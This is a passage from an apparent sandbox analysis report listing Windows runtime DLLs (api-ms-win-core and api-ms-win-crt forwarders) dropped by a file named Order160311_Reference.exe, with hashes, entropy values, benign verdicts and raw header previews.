Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...S.v............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....S.v.........@...T...T.......S.v.........d...............S.v.....................RSDS..pS...Z4Yr.E@......api-ms-win-core-localization-l1-2-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02................S.v.....v.......;...;...(.......................<...f.......................5...]...................!...I...q...................N.............../...j.............../...^.................../...\...................8...`...........

C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-memory-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.101895292899441
Encrypted:	false
SSDEEP:	384:+bZWPhWUsnhi00GftpBjwBemQlD16Par7:b4nhoi6BedH
MD5:	D500D9E24F33933956DF0E26F087FD91
SHA1:	6C537678AB6CFD6F3EA0DC0F5ABEFD1C4924F0C0
SHA-256:	BB33A9E906A5863043753C44F6F8165AFE4D5EDB7E55EFA4C7E6E1ED90778ECA
SHA-512:	C89023EB98BF29ADEEBFBCB570427B6DF301DE3D27FF7F4F0A098949F987F7C192E23695888A73F1A2019F1AF06F2135F919F6C606A07C8FA9F07C00C64A34B5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....%(...........!......................... ...............................0............@.............................l............ ..................8=..............T............................................................................text...l........................... ..`.rsrc........ ......................@..@......%(........:...T...T.........%(........d.................%(....................RSDS.~....%.T.....CO....api-ms-win-core-memory-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg.......l....edata... ..`....rsrc$01....` .......rsrc$02......................%(....................(...h...........)...P...w...................C...g...................%...P...........B...g...................4...[...\|...................=...................................api-ms-win-core-memory-l1-1-0.dl

C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-namedpipe-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.16337963516533
Encrypted:	false
SSDEEP:	192:pgWIghWGZiBeS123Ouo+Uggs/nGfe4pBjS/fE/hWh0txKdmVWQ4GWoxYyqnaj/6B:iWPhWUEi00GftpBj1temnltcwWB
MD5:	6F6796D1278670CCE6E2D85199623E27
SHA1:	8AA2155C3D3D5AA23F56CD0BC507255FC953CCC3
SHA-256:	C4F60F911068AB6D7F578D449BA7B5B9969F08FC683FD0CE8E2705BBF061F507
SHA-512:	6E7B134CA930BB33D2822677F31ECA1CB6C1DFF55211296324D2EA9EBDC7C01338F07D22A10C5C5E1179F14B1B5A4E3B0BAFB1C8D39FCF1107C57F9EAF063A7B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L... ..............!......................... ...............................0.......-....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.... ...........=...T...T....... ...........d............... .......................RSDS...IK..XM.&......api-ms-win-core-namedpipe-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02................ .......................(...P...x...............:...w...............O...y...............&...W...............=...j.......................api-ms-win-core-namedpipe-l1-1-0.dll.ConnectNamedPipe.kernel32.ConnectNamedPipe.CreateNamedP

C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-processenvironment-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19248
Entropy (8bit):	7.073730829887072
Encrypted:	false
SSDEEP:	192:wXjWIghWGd4dsNtL/123Ouo+Uggs/nGfe4pBjSXcYddWh0txKdmVWQ4SW04engo5:MjWPhWHsnhi00GftpBjW7emOj5l1z6hP
MD5:	5F73A814936C8E7E4A2DFD68876143C8
SHA1:	D960016C4F553E461AFB5B06B039A15D2E76135E
SHA-256:	96898930FFB338DA45497BE019AE1ADCD63C5851141169D3023E53CE4C7A483E
SHA-512:	77987906A9D248448FA23DB2A634869B47AE3EC81EA383A74634A8C09244C674ECF9AADCDE298E5996CAFBB8522EDE78D08AAA270FD43C66BEDE24115CDBDFED
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...).r............!......................... ...............................0.......:....@.............................G............ ..................0=..............T............................................................................text...G........................... ..`.rsrc........ ......................@..@....).r.........F...T...T.......).r.........d...............).r.....................RSDS.6..~x.......'......api-ms-win-core-processenvironment-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg.......G....edata... ..`....rsrc$01....` .......rsrc$02........).r.....................(...\|.......B...............$...M...{...............P...................6...k.............../...(...e...............=...f...............8...q...............!...T............... ...........................

C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-processthreads-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19392
Entropy (8bit):	7.082421046253008
Encrypted:	false
SSDEEP:	384:afk1JzNcKSIJWPhW2snhi00GftpBjZqcLvemr4PlgC:RcKST+nhoi/BbeGv
MD5:	A2D7D7711F9C0E3E065B2929FF342666
SHA1:	A17B1F36E73B82EF9BFB831058F187535A550EB8
SHA-256:	9DAB884071B1F7D7A167F9BEC94BA2BEE875E3365603FA29B31DE286C6A97A1D
SHA-512:	D436B2192C4392A041E20506B2DFB593FE5797F1FDC2CDEB2D7958832C4C0A9E00D3AEA6AA1737D8A9773817FEADF47EE826A6B05FD75AB0BDAE984895C2C4EF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!......................... ...............................0......l.....@.......................................... ...................9..............T............................................................................text............................... ..`.rsrc........ ......................@..@................B...T...T...................d.......................................RSDS..t........=j.......api-ms-win-core-processthreads-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............................1...1...(...........K...x...............,...`...................C...q...............'...N...y..............."...I...{...............B...p...............,...c...............H...x...................9...S...p.......

C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-processthreads-l1-1-1.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.1156948849491055
Encrypted:	false
SSDEEP:	384:xzADfIeRWPhWKEi00GftpBjj1emMVlvN0M:xzfeWeoi11ep
MD5:	D0289835D97D103BAD0DD7B9637538A1
SHA1:	8CEEBE1E9ABB0044808122557DE8AAB28AD14575
SHA-256:	91EEB842973495DEB98CEF0377240D2F9C3D370AC4CF513FD215857E9F265A6A
SHA-512:	97C47B2E1BFD45B905F51A282683434ED784BFB334B908BF5A47285F90201A23817FF91E21EA0B9CA5F6EE6B69ACAC252EEC55D895F942A94EDD88C4BFD2DAFD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....9.............!......................... ...............................0......k.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....9..........B...T...T........9..........d................9......................RSDS&.n....5..l....)....api-ms-win-core-processthreads-l1-1-1.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.............9......................(...`...........-...l..........."...W...................N...................P...............F...q...............3...r...................................api-ms-win-core-processthreads-l1-1-1.dll.FlushInstr

C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-profile-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17712
Entropy (8bit):	7.187691342157284
Encrypted:	false
SSDEEP:	192:w9WIghWGdUuDz7M123Ouo+Uggs/nGfe4pBjSXrw58h6Wh0txKdmVWQ4SW7QQtzko:w9WPhWYDz6i00GftpBjXPemD5l1z6hv
MD5:	FEE0926AA1BF00F2BEC9DA5DB7B2DE56
SHA1:	F5A4EB3D8AC8FB68AF716857629A43CD6BE63473
SHA-256:	8EB5270FA99069709C846DB38BE743A1A80A42AA1A88776131F79E1D07CC411C
SHA-512:	0958759A1C4A4126F80AA5CDD9DF0E18504198AEC6828C8CE8EB5F615AD33BF7EF0231B509ED6FD1304EEAB32878C5A649881901ABD26D05FD686F5EBEF2D1C3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....&............!......................... ...............................0......0.....@.......................................... ..................0=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....&.........;...T...T........&.........d................&.....................RSDS...O.""#.n....D:....api-ms-win-core-profile-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.....................&.....<...............(...0...8...w......._...........api-ms-win-core-profile-l1-1-0.dll.QueryPerformanceCounter.kernel32.QueryPerformanceCounter.QueryPerformanceFrequency.kernel32.QueryPerformanceFrequency....................

C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-rtlsupport-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17720
Entropy (8bit):	7.19694878324007
Encrypted:	false
SSDEEP:	384:61G1WPhWksnhi00GftpBjEVXremWRlP55Jk:kGiYnhoiqVXreDT5Y
MD5:	FDBA0DB0A1652D86CD471EAA509E56EA
SHA1:	3197CB45787D47BAC80223E3E98851E48A122EFA
SHA-256:	2257FEA1E71F7058439B3727ED68EF048BD91DCACD64762EB5C64A9D49DF0B57
SHA-512:	E5056D2BD34DC74FC5F35EA7AA8189AAA86569904B0013A7830314AE0E2763E95483FABDCBA93F6418FB447A4A74AB0F07712ED23F2E1B840E47A099B1E68E18
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......(...........!......................... ...............................0......}"....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.......(........>...T...T..........(........d..................(....................RSDS?.L.N.o.....=.......api-ms-win-core-rtlsupport-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...................(....F...............(...4...@...~...........l.................api-ms-win-core-rtlsupport-l1-1-0.dll.RtlCaptureContext.ntdll.RtlCaptureContext.RtlCaptureStackBackTrace.ntdll.RtlCaptureStackBackTrace.RtlUnwind.ntdll.RtlUnwind.

C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-string-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.137724132900032
Encrypted:	false
SSDEEP:	384:xyMvRWPhWFs0i00GftpBjwCJdemnflUG+zI4:xyMvWWoibeTnn
MD5:	12CC7D8017023EF04EBDD28EF9558305
SHA1:	F859A66009D1CAAE88BF36B569B63E1FBDAE9493
SHA-256:	7670FDEDE524A485C13B11A7C878015E9B0D441B7D8EB15CA675AD6B9C9A7311
SHA-512:	F62303D98EA7D0DDBE78E4AB4DB31AC283C3A6F56DBE5E3640CBCF8C06353A37776BF914CFE57BBB77FC94CCFA48FAC06E74E27A4333FBDD112554C646838929
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....R............!......................... ...............................0.......\....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@......R.........:...T...T.........R.........d.................R.....................RSDS..D..a..1.f....7....api-ms-win-core-string-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02......................R.....x...............(...H...h...............)...O...x...........................>...i...........................api-ms-win-core-string-l1-1-0.dll.CompareStringEx.kernel32.CompareStringEx.CompareStringOrdinal.kernel32.Compare

C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-synch-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20280
Entropy (8bit):	7.04640581473745
Encrypted:	false
SSDEEP:	384:5Xdv3V0dfpkXc0vVaHWPhWXEi00GftpBj9em+4lndanJ7o:5Xdv3VqpkXc0vVa8poivex
MD5:	71AF7ED2A72267AAAD8564524903CFF6
SHA1:	8A8437123DE5A22AB843ADC24A01AC06F48DB0D3
SHA-256:	5DD4CCD63E6ED07CA3987AB5634CA4207D69C47C2544DFEFC41935617652820F
SHA-512:	7EC2E0FEBC89263925C0352A2DE8CC13DA37172555C3AF9869F9DBB3D627DD1382D2ED3FDAD90594B3E3B0733F2D3CFDEC45BC713A4B7E85A09C164C3DFA3875
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......2...........!......................... ...............................0............@.............................V............ ..................8=..............T............................................................................text...V........................... ..`.rsrc........ ......................@..@.......2........9...T...T..........2........d..................2....................RSDS...z..C...+Q_.....api-ms-win-core-synch-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg.......V....edata... ..`....rsrc$01....` .......rsrc$02.......................2............)...)...(.......p.......1...c...................!...F...m...............$...X...........$...[.......................@...i...............!...Q.......................[...............7...........O...................

C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-synch-l1-2-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.138910839042951
Encrypted:	false
SSDEEP:	384:JtZ3gWPhWFA0i00GftpBj4Z8wemFfYlP55t:j+oiVweb53
MD5:	0D1AA99ED8069BA73CFD74B0FDDC7B3A
SHA1:	BA1F5384072DF8AF5743F81FD02C98773B5ED147
SHA-256:	30D99CE1D732F6C9CF82671E1D9088AA94E720382066B79175E2D16778A3DAD1
SHA-512:	6B1A87B1C223B757E5A39486BE60F7DD2956BB505A235DF406BCF693C7DD440E1F6D65FFEF7FDE491371C682F4A8BB3FD4CE8D8E09A6992BB131ADDF11EF2BF9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...XuY...........!......................... ...............................0......3.....@.............................v............ ..................8=..............T............................................................................text...v........................... ..`.rsrc........ ......................@..@....XuY........9...T...T.......XuY........d...............XuY....................RSDS.V..B...`..S3.....api-ms-win-core-synch-l1-2-0.pdb............T....rdata..T........rdata$zzzdbg.......v....edata... ..`....rsrc$01....` .......rsrc$02....................X*uY....................(...l...........R...................W...............&...b...............$...W.......6...w...............;...\|...............H...................A.....................................api-ms-win-core-synch-

C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-sysinfo-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19248
Entropy (8bit):	7.072555805949365
Encrypted:	false
SSDEEP:	384:2q25WPhWWsnhi00GftpBj1u6qXxem4l1z6hi:25+SnhoiG6IeA8
MD5:	19A40AF040BD7ADD901AA967600259D9
SHA1:	05B6322979B0B67526AE5CD6E820596CBE7393E4
SHA-256:	4B704B36E1672AE02E697EFD1BF46F11B42D776550BA34A90CD189F6C5C61F92
SHA-512:	5CC4D55350A808620A7E8A993A90E7D05B441DA24127A00B15F96AAE902E4538CA4FED5628D7072358E14681543FD750AD49877B75E790D201AB9BAFF6898C8D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....C=...........!......................... ...............................0............@.............................E............ ..................0=..............T............................................................................text...E........................... ..`.rsrc........ ......................@..@......C=........;...T...T.........C=........d.................C=....................RSDS....T.>eD.#\|.../....api-ms-win-core-sysinfo-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg.......E....edata... ..`....rsrc$01....` .......rsrc$02......................C=....................(...........:...i...............N...................7...s...............+...M...r.............../...'...V...............:...k...................X............... ...?...d..............."...................

C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-timezone-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18224
Entropy (8bit):	7.17450177544266
Encrypted:	false
SSDEEP:	384:SWPhWK3di00GftpBjH35Gvem2Al1z6hIu:77NoiOve7eu
MD5:	BABF80608FD68A09656871EC8597296C
SHA1:	33952578924B0376CA4AE6A10B8D4ED749D10688
SHA-256:	24C9AA0B70E557A49DAC159C825A013A71A190DF5E7A837BFA047A06BBA59ECA
SHA-512:	3FFFFD90800DE708D62978CA7B50FE9CE1E47839CDA11ED9E7723ACEC7AB5829FA901595868E4AB029CDFB12137CF8ECD7B685953330D0900F741C894B88257B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....Y.x...........!......................... ...............................0......}3....@.......................................... ..................0=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....Y.x........<...T...T........Y.x........d................Y.x....................RSDS.^.b. .t.H.a.......api-ms-win-core-timezone-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.....................Y.x....................(...L...p...........5...s...........+...i...................U...............I.........................api-ms-win-core-timezone-l1-1-0.dll.FileTimeToSystemTime.kernel32.FileTimeToSystemTime.GetDynamicTimeZ

C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-util-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1007227686954275
Encrypted:	false
SSDEEP:	192:pePWIghWG4U9wluZo123Ouo+Uggs/nGfe4pBjSbKT8wuxWh0txKdmVWQ4CWnFnwQ:pYWPhWFS0i00GftpBj7DudemJlP552
MD5:	0F079489ABD2B16751CEB7447512A70D
SHA1:	679DD712ED1C46FBD9BC8615598DA585D94D5D87
SHA-256:	F7D450A0F59151BCEFB98D20FCAE35F76029DF57138002DB5651D1B6A33ADC86
SHA-512:	92D64299EBDE83A4D7BE36F07F65DD868DA2765EB3B39F5128321AFF66ABD66171C7542E06272CB958901D403CCF69ED716259E0556EE983D2973FAA03C55D3E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....f............!......................... ...............................0......`k....@.............................9............ ..................8=..............T............................................................................text...)........................... ..`.rsrc........ ......................@..@......f.........8...T...T.........f.........d.................f.....................RSDS*...$.L.Rm..l.....api-ms-win-core-util-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg.......9....edata... ..`....rsrc$01....` .......rsrc$02..........f.....J...................,...@...o...................j...}.........................api-ms-win-core-util-l1-1-0.dll.Beep.kernel32.Beep.DecodePointer.kernel32.DecodePointer.DecodeSystemPointer.kernel32.DecodeSystemPointer.EncodePointer.kernel3

C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-conio-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.088693688879585
Encrypted:	false
SSDEEP:	384:8WPhWz4Ri00GftpBjDb7bemHlndanJ7DW:Fm0oiV7beV
MD5:	6EA692F862BDEB446E649E4B2893E36F
SHA1:	84FCEAE03D28FF1907048ACEE7EAE7E45BAAF2BD
SHA-256:	9CA21763C528584BDB4EFEBE914FAAF792C9D7360677C87E93BD7BA7BB4367F2
SHA-512:	9661C135F50000E0018B3E5C119515CFE977B2F5F88B0F5715E29DF10517B196C81694D074398C99A572A971EC843B3676D6A831714AB632645ED25959D5E3E7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.................!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v..............................8...d...d..................d......................................RSDS....<....2..u....api-ms-win-crt-conio-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...............T...............(.......................>...w.........../...W...p...........................,...L...l.......................,...L...m...............t...........'...^...............P...g...........................$...=...

C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-convert-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22328
Entropy (8bit):	6.929204936143068
Encrypted:	false
SSDEEP:	384:EuydWPhW7snhi00GftpBjd6t/emJlDbN:3tnhoi6t/eAp
MD5:	72E28C902CD947F9A3425B19AC5A64BD
SHA1:	9B97F7A43D43CB0F1B87FC75FEF7D9EEEA11E6F7
SHA-256:	3CC1377D495260C380E8D225E5EE889CBB2ED22E79862D4278CFA898E58E44D1
SHA-512:	58AB6FEDCE2F8EE0970894273886CB20B10D92979B21CDA97AE0C41D0676CC0CD90691C58B223BCE5F338E0718D1716E6CE59A106901FE9706F85C3ACF7855FF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....NE............!.........................0...............................@............@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@v....................NE.........:...d...d........NE.........d................NE.....................RSDS..e.7P.g^j..[....api-ms-win-crt-convert-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.....................NE.............z...z...8... .......(...C...^...y...........................1...N...k...............................*...E...`...y...............................5...R...o.......................,...M...n...........

C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-environment-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18736
Entropy (8bit):	7.078409479204304
Encrypted:	false
SSDEEP:	192:bWIghWGd4edXe123Ouo+Uggs/nGfe4pBjSXXmv5Wh0txKdmVWQ4SWEApkqnajPBZ:bWPhWqXYi00GftpBjBemPl1z6h2
MD5:	AC290DAD7CB4CA2D93516580452EDA1C
SHA1:	FA949453557D0049D723F9615E4F390010520EDA
SHA-256:	C0D75D1887C32A1B1006B3CFFC29DF84A0D73C435CDCB404B6964BE176A61382
SHA-512:	B5E2B9F5A9DD8A482169C7FC05F018AD8FE6AE27CB6540E67679272698BFCA24B2CA5A377FA61897F328B3DEAC10237CAFBD73BC965BF9055765923ABA9478F8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....jU............!......................... ...............................0......G.....@............................."............ ..................0=..............T............................................................................text...2........................... ..`.rsrc........ ......................@..@v....................jU.........>...d...d........jU.........d................jU.....................RSDSu..1.N....R.s,"\....api-ms-win-crt-environment-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg......."....edata... ..`....rsrc$01....` .......rsrc$02.................jU.....................8...............C...d...........................3...O...l....................... .......5...Z...w.......................)...F...a...........................................................

C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-filesystem-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20280
Entropy (8bit):	7.085387497246545
Encrypted:	false
SSDEEP:	384:sq6nWm5C1WPhWFK0i00GftpBjB1UemKklUG+zIOd/:x6nWm5CiooiKeZnbd/
MD5:	AEC2268601470050E62CB8066DD41A59
SHA1:	363ED259905442C4E3B89901BFD8A43B96BF25E4
SHA-256:	7633774EFFE7C0ADD6752FFE90104D633FC8262C87871D096C2FC07C20018ED2
SHA-512:	0C14D160BFA3AC52C35FF2F2813B85F8212C5F3AFBCFE71A60CCC2B9E61E51736F0BF37CA1F9975B28968790EA62ED5924FAE4654182F67114BD20D8466C4B8F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......h...........!......................... ...............................0......I.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v......................h........=...d...d..........h........d..................h....................RSDS.....a.'..G...A.....api-ms-win-crt-filesystem-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...................h............A...A...8...<...@...........$...=...V...q...................)...M...q......................./...O...o...........................7...X...v...........................6...U...r.......................

C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-heap-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.060393359865728
Encrypted:	false
SSDEEP:	192:+Y3vY17aFBR4WIghWG4U9CedXe123Ouo+Uggs/nGfe4pBjSbGGAPWh0txKdmVWQC:+Y3e9WPhWFsXYi00GftpBjfemnlP55s
MD5:	93D3DA06BF894F4FA21007BEE06B5E7D
SHA1:	1E47230A7EBCFAF643087A1929A385E0D554AD15
SHA-256:	F5CF623BA14B017AF4AEC6C15EEE446C647AB6D2A5DEE9D6975ADC69994A113D
SHA-512:	72BD6D46A464DE74A8DAC4C346C52D068116910587B1C7B97978DF888925216958CE77BE1AE049C3DCCF5BF3FFFB21BC41A0AC329622BC9BBC190DF63ABB25C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...J.o ...........!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v...................J.o ........7...d...d.......J.o ........d...............J.o ....................RSDSq.........pkQX[....api-ms-win-crt-heap-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02........J.o ....6...............(...........c...................S.......................1...V...y.......................<...c...........................U...z...............:...u...................&...E...p.......................,...U...

C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-locale-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.13172731865352
Encrypted:	false
SSDEEP:	192:fiWIghWGZirX+4z123Ouo+Uggs/nGfe4pBjS/RFcpOWh0txKdmVWQ4GWs8ylDikh:aWPhWjO4Ri00GftpBjZOemSXlvNQ0
MD5:	A2F2258C32E3BA9ABF9E9E38EF7DA8C9
SHA1:	116846CA871114B7C54148AB2D968F364DA6142F
SHA-256:	565A2EEC5449EEEED68B430F2E9B92507F979174F9C9A71D0C36D58B96051C33
